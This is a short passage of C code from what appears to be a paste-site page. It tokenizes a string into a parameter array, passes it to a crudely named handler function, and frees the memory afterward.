- params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
- memset(params[paramsCount], 0, strlen(pch) + 1);
- strcpy(params[paramsCount], pch);
- paramsCount++;
- }
- pch = strtok(NULL, " ");
- }
- fuckinghugec0ck(paramsCount, params);
- if(paramsCount > 1) {
- int q = 1;
- for(q = 1; q < paramsCount; q++) {
- free(params[q]);
- }
- }
- }
- }
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment